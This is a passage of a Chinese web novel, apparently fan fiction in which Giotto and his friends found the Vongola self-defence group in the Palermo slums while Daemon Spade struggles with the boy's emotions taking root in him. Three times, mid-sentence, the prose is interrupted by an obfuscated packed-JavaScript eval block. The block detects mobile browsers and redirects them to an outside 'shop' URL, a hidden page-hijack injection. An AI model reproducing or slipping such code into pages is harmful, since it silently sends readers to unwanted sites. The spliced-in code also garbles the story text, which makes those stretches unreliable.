只有雨声，永恒而冷漠的雨声。 “我们像一群待宰的羊。” G的声音突然响起，他没有看谁，只是盯着自己摊开的手掌。 “他们来抓谁，我们就只能交谁。他们来要什么，我们就只能给什么。要我们跪？好，我们跪。要我们给钱？好，我们砸锅卖铁也给。要我们送人？好，我们只能眼睁睁地看着人被带走。” 每一句话，都像一把钝刀，割着自己的尊严。 他缓缓抬起头，一道闪电划破夜空，惨白的光照亮他眼底那些破裂的碎片，留下冰冷的痕迹。 “我们不是人。在他们眼里，我们从来都不是人，是羊，是会走路的资源，是……”他停顿，寻找那个最准确的词，“是可消耗品，是耗材。” 塞弗诺拉再也按捺不住，一拳狠狠砸在身下的屋顶上，力道大得惊人。 拳头穿透湿滑的瓦片，碎屑飞溅，下面的木椽发出断裂声。血立刻从他的指关节涌出，混着雨水流下，但他像是感觉不到疼一样，依旧死死攥着拳头。 “权力……”他的声音从牙缝里艰难挤出来，带着压抑到几乎要爆炸的愤怒，每一个字都充满了不甘和咆哮，“这狗屎一样的权力，凭什么只有他们能拥有？凭什么他们就能够肆意践踏我们的尊严，夺走我们的一切？” 有些问题从一开始就没有答案，只有冰冷的、坚硬的、不讲道理的事实——权力掌握在谁的手中，谁就拥有制定规则、肆意践踏他人的资格。 雨越下越大。豆大的雨滴砸在屋顶上，砸在三个少年的身上，砸在贫民窟每一片漏雨的屋顶上，仿佛要将这片土地彻底淹没。 然后，乔托开口了。 他的音量不大，却在嘈杂的暴雨声中异常清晰，像一把锋利的刀划过玻璃，冰冷、尖锐，带着不容置疑的力量，瞬间吸引了G和塞弗诺拉的注意力。 “我错了。” G和塞弗诺拉同时转头看向他。一道闪电划过，照亮乔托的脸，那张还带着稚气的脸上，没有了往日的隐忍，取而代之的是一种超越年龄的凝重。 “我以为……”乔托继续说，语气缓慢而沉重，“我以为在他们制定的规则缝隙里，努力争取一点点生存空间，争取一点点微不足道的公平，就能慢慢改变什么。我曾经以为这就是智慧，是我们唯一的出路。” 他缓缓低下头，看向自己的掌心，那道十字形印记在雨水的冲刷下泛着苍白而微弱的光，像一道永不磨灭的烙印。 “但我错了。那些所谓的缝隙，本就是别人施舍给我们的，他们心情好时，就留一道缝儿让我们喘气，一旦不高兴，随时可以合上，让我们彻底窒息。” 他抬起头，目光穿透雨幕，锁定远处拉涅利家宅邸的灯火： “或者直接推平整块地，就像今天一样，没有理由，不用解释，因为他们能。” 又是一道闪电划过，瞬间照亮整个贫民窟。低矮的房屋、泥泞的街道、被冲垮的围墙，一切的破败都无所遁形。闪电也照亮了屋顶上的三个身影，他们浑身湿透，伤痕累累，却没有一个人弯腰，他们的脊背挺得笔直，像三棵在狂风暴雨里倔强生长的野草。 “我厌恶那种高高在上的力量。”乔托的声音突然变得异常平静，那种平静没有一丝波澜，却比歇斯底里的嘶吼更加令人心悸，“我厌恶他们看我们的眼神，像是在看路边的虫子，随时可以踩死；我厌恶他们决定我们生死时的随意，就像在决定晚餐吃什么那样轻松。” 他停顿了片刻，雨水顺着他的下巴滴落： “但我现在明白了，没有力量，我们连做人的资格都没有。跪着活，那不叫活着，那只能叫等待死亡。” G微微皱眉，身体不自觉地前倾，眼中的破碎与麻木逐渐褪去，多了几分疑惑与期待，他轻声问：“你想说什么，乔托？” 乔托站了起来。 他的动作很慢，但每一步都很稳，湿透的衣服紧紧贴在身上，勾勒出少年瘦削却坚韧的轮廓。雨水顺着他柔软的金发流淌，模糊了视线，却挡不住他眼里的光。 他转过身面对两个伙伴。闪电再次划过，这一次，G和塞弗诺拉清晰的看清了他眼中的东西，那不是怒火，不是绝望，而是一种冰冷的、燃烧的决意，像深埋在地下千万年的煤炭，经过足够长时间的压力与淬炼，终于褪去杂质，变成了坚硬而璀璨的钻石。 “我们需要自己的力量。” 乔托的声音在雨夜中传开，清晰有力。 “不是街头打架的拳头，那打不赢火枪，不是乞求来的怜悯，那随时会被收回，不是藏在规则缝隙里的小聪明，那改变不了他们制定规则的事实。” 他缓缓张开双臂，展示着身后沉睡的贫民窟，展示着这片被雨水浸泡着的沉默的土地： “我们需要让贵族不敢随意进来抓人的名声，需要让税务官不得不坐下来谈的组织，需要当我们的姐妹被抢走时，能让她安全回家的实力。不是一个人，不是三个人，是所有人，所有不想再当羊的人。” 塞弗诺拉缓缓站起身，死死盯着乔托，盯着那双在黑暗中燃烧的眼睛。 “怎么做到？” “从我们三个人开始。但我们不叫一伙人，也不叫帮派。”乔托深吸一口气，冰冷的空气混合着雨水的气息灌入肺腑，像燃料一样点燃了胸膛里的信念之火，“帮派只会收保护费，只会欺负比自己弱小的人，我们绝不能那样。我们要叫……自卫团，彭格列自卫团。” 雨声突然变小了。 不是真的变小了，只是在这个名字脱口而出的瞬间，世间所有的声音都仿佛悄然退去，只剩下这几个字在三人耳边回荡。 “彭格列自卫团。” 听见这陌生又熟悉的音节，连乔托自己都微微一愣，仿佛这个名字早已蛰伏在他的心底，沉睡在雨声的深处，直到此刻被他的决心与信念唤醒，顺着喉咙脱口而出。 G ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218864|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和塞弗诺拉听见这个名字，就像看见一颗石子投入沉寂的死水。它带着一种奇异的重量，仿佛此前一直就存在在这片土地上，等待着被人唤醒，成为照亮黑暗的光。 “保护所有愿意一起活下去的人。”乔托的声音像一场庄严的宣誓，每个字都坚定地钉进这个冰冷的雨夜，“从这条街开始，然后下一条街，再下一条。我们不偷，不抢，不勒索。我们保护，保护我们的老人不被赶出家门，保护我们的孩子不被抢去做工，保护我们的姐妹不被强行带走。” 他微微停顿，目光缓缓扫过G额头渗血的伤口，扫过塞弗诺拉依旧在流血的手掌，声音里带着心疼，更带着坚定。 “直到有一天，贵族老爷们想动我们的人时，会先掂量掂量代价。直到有一天，我们不需要再跪。直到有一天——” 乔托指向拉涅利家宅邸的方向： “我们可以站在阳光下，说‘不’，而他们必须听。” 沉默。 只有雨声，重新涌回的、铺天盖地的雨声。 G缓缓站起身，动作很慢，像是生锈的关节在转动，又像是每一个动作都需要巨大的决心。他一步步走到乔托面前，两个人隔着冰冷的雨水对视。 “算我一个。”他说。声音里依旧带着疲惫，却重新充满了力量。 简简单单四个字，没有华丽的修辞，没有激昂的豪言壮语，却重如千钧。他眼中那些破碎的纹路，在这一刻开始重新排布，不再是破碎的镜子，而是一块坚硬的燧石，等待着与信念撞击，迸发出燎原的火花。 塞弗诺拉啐了一口嘴角的雨水，里面混着血丝。他突然咧嘴笑了，那不是愉快的笑容，而是一头被逼至绝境的狼露出的带着血腥味的笑容。 “早该这样了。” 他伸出那只还在流血的手，掌心向上。乔托率先握住，紧接着，G的手也覆了上来。三只手紧紧交叠在一起，血液与雨水交融。 冰冷的雨夜中，一股滚烫的温度在三人之间传递，那是信念，是誓言，是永不背叛的约定。 暴雨不知何时开始减弱，雨点变得稀疏，东方的天空中，云层最薄处泛起一丝极淡的鱼肚白，黎明的曙光即将穿透黑暗。 三个少年站在屋顶，浑身湿透，但脊梁挺得笔直。 远处，拉涅利家的灯火终于熄灭，最后一丝光芒消失，仿佛一头餍足的野兽终于陷入沉睡，完全没有意识到它今天践踏过的土地上，有什么东西正在苏醒。 乔托低下头，最后一次摊开手掌，那个十字压痕还在。他用另一只手的指尖轻轻抚摸那道印记，然后缓缓地，坚定地握紧了拳头。 握得那么紧，指节发白，指甲在掌心留下深深的印子。 马车轮碾过石板路的声音似乎还在回荡，莉娜被带走前的眼神还在灼烧，马尔科轻蔑的笑声还在耳畔。 但这些不再让他颤抖。 相反，它们像一记记重锤，将新的决心钉进骨髓。 [力量……] 乔托在心里默念这两个字。雨水流进嘴角，带着泥土的腥气和血的味道，却让他感到前所未有的清醒。 [我必须拥有它。] [不是成为像戴蒙·斯佩多那样撕咬弱者，维护不公的利齿。] [而是成为……] 晨光刺破云层，第一缕真正的阳光穿透雨后清新的空气，落在他紧握的、青筋毕露的拳头上。那拳头的轮廓不像武器，更像一颗在胸膛外跳动的心脏，充满了生命力和守护的决心。 [……成为能保护自己巢穴的狮子。] 路还很长，黑暗更深，贵族依然在府邸里沉睡，火枪依然在护卫腰间，不公的规则依然像铁笼笼罩着这片土地。 但有些东西，从三只手紧紧交叠的那一刻起，就已经不可逆转地开始了。 在巴勒莫最肮脏的角落，在连阳光都似乎不愿久留的地方，一颗心脏开始跳动。 缓慢，有力，带着幼狮般的笨拙，也带着狮子般的决心。 14. 第 14 章 晨光如往常一样穿透拱形窗户，在戴蒙·斯佩多的书房地板上切割出整齐的光带。空气中悬浮着极细的尘埃，在光中缓慢旋转，仿佛时间在此凝固。 戴蒙端坐于厚重的书桌后，一身笔挺的深蓝色军装衬得身姿愈发挺拔，每一粒黄铜纽扣都反射着冷冽的光，敞开的领口打破了军装本应有的刻板和严谨，不经意间流露出几分深入骨髓的风流不羁。 副官阿尔贝托垂手立于桌前。 “下个月的物资配给，就按照新拟定的方案发放吧。”戴蒙的声音平稳得毫无波澜，听不出半分前几天的“精神不济”，至少表面上来看，他依旧是那个掌控一切的斯佩多少校。 蘸水笔尖在纸张上划过，墨水均匀地深入纤维，但在签署处决令时，笔尖突兀地悬停了。 戴蒙盯着那行简短的数字，仿佛看见的不是等待自己最终确定的命令，而是乔托的那双眼睛，那双在昏暗煤油灯下明亮的琥珀色眼睛。 他握笔的手指修长光滑，从未沾染过底层劳作的艰辛，此刻却有一种陌生的错觉，仿佛这只手变成了另一只，粗糙、有力，布满搬运货物留下的细小划痕和厚重的硬茧——那是乔托的手。 “少校？”阿尔贝托小心询问。 戴蒙骤然握紧笔杆，墨水在笔尖积聚、颤抖，最终滴落，“嗒”的一声轻响，在洁白的文件边缘晕开一个小小的污点。 “换一张纸。”他说，声音里听不出波澜。 阿尔贝托不敢多问，迅速撤下污损的文件，重新铺好一张崭新的纸张。 此时的戴蒙已经恢复了惯常的冷漠，笔尖落下，流畅地签下自己的名字，每一笔都锋利如刀，力道之大，几乎要划透纸背，宣泄着心底莫名的烦躁。 [已经按照你的想法放过了大多数人，只是处决区区十几个首恶，你到底还有什么不满？] 心底的质问没有得到任何回应，书房里只剩下笔尖划过纸张的轻响，还有窗外寒风穿过光秃秃的树梢，传来低沉的呜咽。 午餐时分，长桌上的银器如镜面般光亮。烤小牛肉配松露酱、芦笋白汁、新鲜出炉的面包篮、三种奶酪、红酒烩梨。仆人在戴蒙身后半步静立，连呼吸声都轻不可闻。 戴蒙切下一块牛肉送入口中。肉质鲜嫩，松露香气浓郁。 他推开盘子。 “不合胃口吗，少爷？”管家低声询问，身体微微前倾。 “够了。”戴蒙站起身，椅子腿与大理石地面摩擦发出短促的响声，“下午的巡视提前半个小时。” “是。” 下午的巡视路线本该绕过贫民区，戴蒙却临时改变了安排：“走东门，经圣十字区返回军营。” 卫队长欲言又止。他清楚，那条路线会穿过城市最破败的贫民窟边缘，那里充斥着混乱。可不等他开口劝阻，戴蒙已经策马前行，披风在身后扬起冷硬的弧度。 贫民区的气味最先抵达：腐败的蔬菜、未经处理的污水在阴沟里发酵，廉价的煤烟呛人，人畜混杂的体味，还有……绝望的味道。和巴勒莫唯一不同的，是这里没有海水的咸腥，只有内陆特有的尘土与衰败。 “让开！全部让开！” 卫兵粗暴的呵斥声将戴蒙飘远的思绪拉了回来。一个面黄肌瘦的小女孩，穿着看不出原色的破裙子，正追着一个皮球跑向街道。皮球干瘪漏气，却滚得飞快，直直地滚到马队的前方。 “滚开，小杂种！”最近的卫兵扬起马鞭，鞭梢在空中划出尖锐的呼啸。 就在马鞭即将落在小女孩身上的瞬间，戴蒙下意识地抬起了手，动作快得连他自己都没有反应过来。 只是一个抬腕，但所有卫兵都僵住了，鞭子悬在半空，再也不敢落下分毫。 女孩吓呆了，站在原地不敢动，脏兮兮的小脸上，眼睛睁得大大的。戴蒙眼神冷淡地示意卫兵后退，然后用马鞭遥遥点了点地面，语气里没有一丝温度： “捡起来，回去。” 女孩愣了一瞬，猛地扑向那个瘪了的皮球，一把抱住，然后像只兔子似的转身窜进了小巷，生怕慢了一步就会被马蹄碾碎。 队伍继续前进，马蹄铁敲击着石板，发出单调的哒哒声。没有人说话，可戴蒙能感觉到疑惑的目光正无声地黏在他背上。 他从不让人靠近马队十步之内，尤其是那种身份不明的贫民。 可刚才……他抬手了。 为什么？ 不是为了展示所谓“仁慈”，他向来不屑于这种廉价的表演。 也不是因为那孩子无害。任何在战场上挣扎过的人都应该清楚，看似无害的东西，往往更应该警惕。 真正让他的手动起来的原因，连他自己都觉得心惊。 在那一瞬间，他脑中闪过的不是眼前的小女孩，而是葬礼上那个倔强质问的男孩。记忆中的场景如此清晰，他仿佛还能回忆起当时紧握的拳头，和指甲掐进掌心的刺痛。 一股尖锐的厌烦猛地窜上太阳穴。他几乎想抬手按住额角，又硬生生忍住了。 他不是第一次附身他人，可从未有哪一次，对方的情绪、习惯、甚至愤怒，会像苔藓一样悄无声息地爬进他的脑海，在他的意志里生了根。 区区几天而已，怎么就分不清，此刻心头那阵刺痛，到底是谁的？ 危险的讯号。 幻术师最怕的从来不是幻象太真实，而是自己开始陷入虚幻的记忆、虚幻的痛苦，再也记不起真实的自己长什么样。戴蒙见过不止一个同行因为没能坚守住自我，混淆了现实与幻境，在无尽的疯狂中不得好死。 他一直以为自己绝不会落得如此境地。 可刚才那一瞬……他竟然为一个素不相识的小女孩停下了脚步。 而理由，竟然是另一个男孩的愤怒和痛苦。 戴蒙忽然低笑了一声，一种近乎愉悦的战栗缠绕着他。 原来如此。 那具身体里藏着一个不肯屈服的灵魂，不知道用了什么手段把他拉了过去，甚至还能反向侵蚀他。 有意思。 他抬眼望向远方巴勒莫的方向，声音低得像是在耳语：“我会找到你，然后亲手把你从那具躯壳里剜出来。” 他顿了顿，嘴角微微扬起，眼里却一丝笑意都没有：“至于身体……既然你这么舍不得它，就由我来替你保管吧。” “乔托。” —————————— 夜幕降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218865|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临，情报官马尔切洛像一道影子，悄无声息地滑进戴蒙的书房。这个男人四十出头，脸上没有任何可供记忆的特征，平淡的五官、中等的体型、毫无特色的衣着，唯有一双浅绿色的眼睛，明亮而锐利，带着洞察一切的冷静。 “您吩咐的调查对象，少爷。” “说。” “巴勒莫地区共有十七个登记在册的乔托，符合年龄范围的有九人，其中六人可以排除。”马尔切洛的声音平直，没有任何情绪起伏，“剩余的三人中，最符合您描述的是乔托·彭格列，十五岁，金发，琥珀色的眼睛，身高约五英尺五英寸，居住于圣洛伦佐区。” 圣洛伦佐贫民窟，巴勒莫的溃烂伤口，犯罪与疾病的温床。 “详细情况。” 马尔切洛翻开从不离身的笔记本：“父母早亡，祖母五年前病逝，目前和堂弟塞弗诺拉共同居住。无固定工作，主要在码头做临时搬运，偶尔在集市帮工。识字，具体文化程度不明，无官方犯罪记录，但——” 他罕见地停顿了半秒。 “但？” “不知道您对上上代管理西西里岛的总督阁下是否有所耳闻。那位阁下的姓氏，就是彭格列。” 戴蒙的手指无意识地在橡木桌上轻轻敲击，发出无规律的轻响。 久居阿尔卑斯山畔的斯佩多家，和毗邻地中海的西西里岛几乎没有任何联系，更不要说知晓一位几十年前的地方统治者的详细情报了，但马尔切洛既然特意提到了这一点…… “是同一家族？” “极有可能。”马尔切洛点头确认，“彭格列家族在那位总督去世后便迅速走向衰落，家族旁系散落各地，失去了往日的权势，而主脉……情报显示早已绝嗣。” 不过四五十年的时间，一个曾经掌控整个西西里岛的显赫家族就从云端跌落泥潭，甚至堕落至贫民窟的底层，与蝼蚁为伍。 戴蒙心中冷笑一声：呵，彭格列，也不过如此。 他的眼中闪过一丝复杂的情绪，是失望吗？他说不清，自己之前到底在期待些什么？ “记下来。”戴蒙的声音沉了下去，“从今天起，盯着他。我要知道他什么时候睁眼，每天吃了什么，见了什么人，说了什么话，所有的一切都要记下来。” 他的指尖停在桌沿。 “尤其要留意……”他顿了顿，目光落在虚空的某处，“他有没有突然懂得什么不该懂的东西，比如，是否突然对军事部署、地方政治或宏观经济产生兴趣。” 马尔切洛的眼神微微一动，浅绿色的眼睛里闪过一丝极淡的诧异，这是他进入书房后，第一次显露情绪。 “您怀疑……他是别人的眼睛？” 戴蒙望着窗外。下了一天的雪已经停了，庭院里一片素白，连鸟雀的爪印都没有，干净得让人不安。 “我什么都没觉得。”他说，“去做就是了，别让他察觉，也别靠近，每周汇报一次。” “是。” 马尔切洛躬身应下，随后退后两步，才转身走向门口，脚步落在地毯上，没有发出一点声响。 戴蒙仍站在窗前，过了许久，他才低声自言自语：“乔托……彭格列，你到底是谁？” 15. 第 15 章 艾琳娜·加富尔走进来的时候，带起了一阵不同的空气。 她穿着简洁的米白色长裙，手里攥着的不是惯常的折扇，而是一卷报纸和一叠手写的文件。她的脸颊未施粉黛，却因为急促的步伐与压抑的情绪泛着红晕。 “下午好，戴蒙。”她的问候比往日要简短不少。 “艾琳娜，”戴蒙抬起头，嘴角勾起一贯的弧度，语气里带着几分调侃，“你这样子，不像是从淑女的茶会中走出来，倒像是刚从硝烟弥漫的战场归来一样。” “这里就是战场。”艾琳娜完全没有接他的调侃，语气沉重得像是压了块石头。 她径直走到书桌前，将报纸摊开，纤细的手指用力点着其中一篇报道，声音里满是压抑的怒火：“马里诺纺织厂，上个星期，一个九岁的小女孩，机器故障的时候被卷进去了。厂方说她是违规操作，只赔了十个里拉。一条年幼的生命，只值十个里拉。” 戴蒙的目光掠过标题，没有停留。 “确实令人遗憾。”他的声音平稳，听不出任何情绪起伏，“但工厂的安全条例早就明确规定了操作年龄的限制，既然是违规操作，责任自然不在厂方。” “不在厂方？”艾琳娜的声音提高了一些，“她父亲去年在车间压断了手，当天就被赶出门，而且连一分钱赔偿都没有拿到！全家老小都等着吃饭，她不去工作，全家就得饿死！这算什么违规操作？这根本就是无路可走！” 戴蒙端起手边的白瓷茶杯，杯沿与杯碟轻轻相碰，发出“叮”的一声脆响。他啜了一口茶，热气模糊了眼底的神色。 “你的同情心，”他放下杯子，语气甚至称得上温和，“总是如此……炽热。” “这不是同情！”艾琳娜直视他，那双碧蓝色的眼睛此刻像是淬了火的钢。她又递过去一份文件，“还有这个。昨天在旧城区，一个男人偷了块黑麦面包，就那么手掌大的一小块！被判当众鞭刑三十，他撑到第十七下就死了。” 戴蒙无意识地收紧了捏着杯柄的手指，瓷器表面的触感光滑冰凉，但他此刻仿佛触碰到了另一种东西，粗糙的、带着麦麸颗粒感的黑麦面包，硬得像块石头，得泡在稀粥里很久才能勉强下咽。 “治安官的判决或许……过于严厉，”戴蒙顿了顿，喉结滚动了一下，“但偷窃终究是——” “那不是简单的偷！”艾琳娜的声音终于彻底失去了克制，她双手撑在桌面上，文件哗啦散开，“他家里三个孩子快饿死了，最小的那个才八个月！法律难道就只是用来保护粮仓里的老鼠，而不保护快要饿死的人吗？！” 饿死。 这个词像一把钥匙，猝不及防地插进了戴蒙一直紧锁的记忆之门。他的胃部猛地抽搐了一下，一阵尖锐的空虚感从意识深处传来。那不是他的饥饿感，而是乔托身体里刻骨铭心的，日复一日的匮乏感。 一阵轻微的眩晕袭来，戴蒙放下茶杯，瓷器底座与木制桌面碰撞，发出闷响。 等他再次开口时，声音冷得像冬日呼啸的海风：“所以，艾琳娜，你是觉得，他这条命，比法律的尊严更重要？” 这话一出口，连他自己都愣了一下。 太过尖锐了，戴蒙甚至能感受到那些词语冰冷的棱角。他从未对艾琳娜说过如此伤人的言语。 艾琳娜愣住了，碧蓝的眸子里闪过一丝难以置信。下一秒，愤怒的火苗在她眼底燃烧得更加猛烈了。 “生命无价！戴蒙，你明明知道这一点！在伯尔尼你也见过那些——” “我在伯尔尼见过暴动者。”戴蒙打断她，声音重回理智，但那种控制在此刻显得格外僵硬，“他们烧毁粮仓，攻击士兵，因为自认为饥饿赋予了他们破坏秩序的权利。我镇压他们，因为只有保持秩序，才能保证绝大多数人的生命和财产安全。” 他站起身走到窗边，背对着艾琳娜。 “牺牲少数，保全多数，这是最简单的算数。” “算数？”艾琳娜的声音在颤抖，“那些被牺牲掉的人，在你看来只是个数字吗？那个、那个怀着孩子、走投无路去偷食物，结果却被活活打死的女人呢？她也是‘必要的牺牲’？” 孔切塔。 明明毫无关联，那个名字却突兀地撞进戴蒙的脑海，带着雨水、泥土、木棺沉闷的落地声，和一个男孩眼中永不熄灭的火焰。还有那句他至今不明白为何会说出口的话—— [你妈妈非常勇敢。] 眩晕感再次袭来，比之前更强烈。戴蒙的手扶住窗框，坚实的触感将他锚定在此，可意识却有一瞬间仿佛飘忽在两个世界的夹缝里。 一边是这间摆满精装书，弥漫着熏香和墨水气息的书房，另一边是贫民窟那间漏风的狭小房间，隐约还能听见醉汉的咒骂和远处港口传来的沉闷汽笛。 有那么一瞬，谁都没说话，书房里只剩下艾琳娜压抑的呼吸声和窗外隐约的风声。 戴蒙垂下眼，盯着自己袖口上一道几乎看不见的褶皱。在他们相识多年的无数次对话里，这是第一次，他需要如此刻意地稳住心神，才能找回自己的声音。 “艾琳娜，”他终于开口，声音异常平缓，“你总是从‘该不该救’开始问，而我的职责是维护王国北部的稳定，是从‘若救了这个，会不会毁掉更多’开始算。” 他转过身，脸上已看不出波澜，海青色的眼睛平静无波，嘴角的弧度恰到好处地表达着虚假的礼貌。 “个体的悲剧……”他轻轻挥了挥手，就好像拂去空气中的尘埃一样，“是这个系统运行中不可避免的磨损。” 艾琳娜看着他，泪水在眼眶里渐渐积聚，却终究没有落下半滴。相反，那双碧蓝的眼睛此刻异常锐利，像是穿透了层层伪装，终于看清了这个男人内心深处，一直试图隐藏的冰冷与挣扎。 “戴蒙。”她轻轻念出他的名字，声音不大，像一片雪花落在地上。“你口口声声讲秩序、讲规则、讲那些冷冰冰的数字……可制定它们、执行它们、受它们管束的，难道不是和你我一样的人吗？” 她向前迈了一步，阳光斜照进来，映得她眼角一点水光微微发亮。 “如果坐在书房里签字的人，从未感受过雪夜挨冻的人的痛苦，那他们制定的这套规矩，生来就是吃人的怪物！” 她又走近一步，几乎站在他面前，不得不仰起脸，才能直视他的眼睛。她的声音不高，却清晰得如同针尖刺破寂静： “而你，戴蒙，正在成为它最锋利的牙齿。” 最锋利的牙齿。 戴蒙的睫毛轻轻一颤。很多年以前，父亲宽厚的手掌抚过他的头顶，对满座宾客朗声笑道：“我的孩子，将来会是王国最锋利的宝剑。”那时他心中满是骄傲，觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218866|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得那是无上的赞美。 可如今，同样的话从艾琳娜唇间轻轻吐出，却像是一句悄然应验的诅咒。他突然觉得“锋利”二字，原来可以这么冷，冷得好像一潭冰冻的湖水，逐渐将他淹没。 窗外不知何时起了风，方才还明亮的天色，此刻已经被一层灰色的云吞没，花园里，干枯的枝桠在风中胡乱地摇曳着。 戴蒙没有反驳，也无法反驳。他只是看着窗外，任由风将旧日的荣光吹得簌簌作响，落在地上化作一片片破碎的玻璃。 “那么，艾琳娜，”他的声音不高，却让艾琳娜怔住了。声音里没有了讽刺，也没有了冷意，只剩下一种沉甸甸的倦怠，“假如你拥有我的权力，面对伯尔尼的骚乱，你会怎么做？” 他慢慢转过身，海青色的眼眸在昏暗的光线里像是蒙了灰的玻璃珠。 “开仓放粮？然后看着人群冲垮街垒，抢掠商铺，烧掉教堂……最后死的人比现在多十倍？” “还是说，"他的声音更轻了，“世上真的有那样一条路，既不辜负良心，又不至于让整个城市的秩序崩溃？” 他说完，望着青梅竹马的少女，等待一个答案。哪怕他知道，这样的答案或许根本就不存在。 艾琳娜张了张嘴，那些字句她早已在心里排练过千百遍，可此刻，在他那样的目光注视下，竟然一个也吐不出来。 因为那目光里没有胜利者的得意，也没有居高临下的诘难，只有一个同样被困在围墙里的人，望着她，问：“你有钥匙吗？” 打开粮仓，或许能救下眼前的饥民，但也可能引发更大范围的混乱与劫掠，最终导致更多的人死去；不打开，就只能看着眼前的人在饥饿中死去。加大救济力度，可能拖垮本就不宽裕的地方财政，影响整个地区的稳定；不救济，民怨只会不断累积，最终引发更加剧烈的动荡。 每一个看似善意的选择背后，都连着一条看不见却布满荆棘的代价链条，而链条的末端，同样是人。 她的沉默在书房里蔓延，比争吵更加让人窒息。 戴蒙极轻地叹了口气，几乎听不见。 “看，”他说，“你也没有答案。” 他走回书桌后，却没有坐下，只是笔直地站着，像一尊年代久远的象牙雕像，表面或许还光洁，内里却早已生出细纹。 “我们都被困在这头吃人的怪物体内，区别只在于有人选择假装看不见鲜血，有人选择成为利齿，还有人……”他顿了顿，目光掠过窗外阴云密布的天空，“偏不信邪，想从内部改造怪物的肠胃。” 他嘴角扯了一下，像是在笑，又像只是肌肉在抽动。 “祝我们都能活到看见结果的那一天，我亲爱的艾琳娜。” 话音落处，已是送客的意思，仿佛再多看她一眼，就会暴露自己无解的软弱。 艾琳娜站在原地，看着眼前这个熟悉又陌生的男人。她想说“至少我们要试试”，想说“总得有人相信还能改变”，可话到嘴边，却总能想起他刚刚的那个问题： “假如你拥有我的权力，你会怎么做？” 她答不上来。 于是她弯下腰，一张一张拾起散落在地的文件，将皱了的报纸抚平，抱在胸前，然后转身走向门口。 门关上的声音很轻，但在过分安静的书房里，依然像一声闷雷，久久回荡。 16. 第 16 章 深冬的都灵，积雪没能盖住工厂区的煤灰，在街道两侧堆成灰黑的泥泞。斯佩多伯爵府的书房里，壁炉烧得正旺，却仍驱不散窗缝渗入的寒意。 艾琳娜走进来时，戴蒙正站在巨大的北意大利地图前，手指沿着铁路线缓慢移动。他没有转身，却能从脚步声认出是她。这些年，她脚步里的犹豫越来越少，决心越来越清晰。 “识字率提高了三个百分点。”艾琳娜将一份简报放在书桌上，纸张与桌面碰撞出清脆声响。 “曙光之家、晨星夜校、工人互助教室，这三处我亲自监督的地方，超过两百人现在能读懂《前进报》的社论了。”她语气里藏不住难掩的雀跃与成就感。 戴蒙终于转过身。他今天穿着深灰色的衣服，海青色的眼眸在壁炉跳动的火光映照下，像两块经过精心雕琢的蓝宝石，色泽明艳却透掩盖不住刺骨的冰冷，唯有表面的光泽带着几分虚假的温度。 “《前进报》”他慢悠悠地重复这个名字，嘴角只是轻轻一扯，那抹讥讽艾琳娜再熟悉不过。 “主编里卡多先生上周才因煽动性言论被拘捕，报纸停刊整顿。你让他们读这个，不如直接教他们怎么在宪兵队稽查时保持体面。” “他们有权知道真相！”艾琳娜向前一步，裙摆扫过地毯。“知道为什么自己每天工作十四小时，却买不起妻子需要的药；知道为什么自己的孩子只能去工厂而不是学校；知道这个国家除了歌剧和教堂的歌功颂德，还有另一种声音——” “然后呢？”戴蒙打断她，声音没有一点波动，“知道了真相，又能改变什么呢？” 他拿起简报，快速翻到最后一页的学员名单，“这个安东尼奥·罗西，铸铁厂的工人，识字后就组织工友请愿，要求配备安全设备，结果被工厂主列入黑名单，全家一周前就搬去了南城更破旧更廉价的地下室。这，就是觉醒的代价。” 艾琳娜的脸色因这番话微微发白，神色却没有半分退缩，反而闪过一丝狡黠的得意。“你果然在关注我做的事。我了解你，戴蒙，你明明见过那些被压迫的人有多痛苦，你明明——” “我见过太多。”戴蒙放下简报，缓步走到酒柜前，指尖轻叩着冰凉的玻璃柜门，却没有打开的意思，只是凝视着自己模糊的倒影。 “我见过知道得太多的人是什么下场。还记得上次我们讨论过的那场暴动吗？伯尔尼的粮仓暴动里，第一个冲上去砸锁的，就是个能读会写的印刷工。他妻子后来领尸体时，我给了她双倍抚恤金，而她到最后都不知道，那笔钱究竟来自谁的手。” 书房陷入短暂的沉默。壁炉里，一根木柴啪地裂开，溅起几点火星。 艾琳娜深吸一口气，压下心底的酸涩与不甘，抬眼直视着戴蒙，语气带着几分倔强的质问：“所以，我从头到尾都错了？让底层民众接受教育，也是一种错吗？” “我从来不觉得你错了。”戴蒙的回答让艾琳娜面露诧异，可他接下来的话语却更加让人心寒。 “你只是太天真了。你以为知识是能让他们挣脱束缚的翅膀，可在这个强权碾压一切的时代，对这些底层人来说，知识先会让他们看清痛苦，再把他们拖向毁灭。” 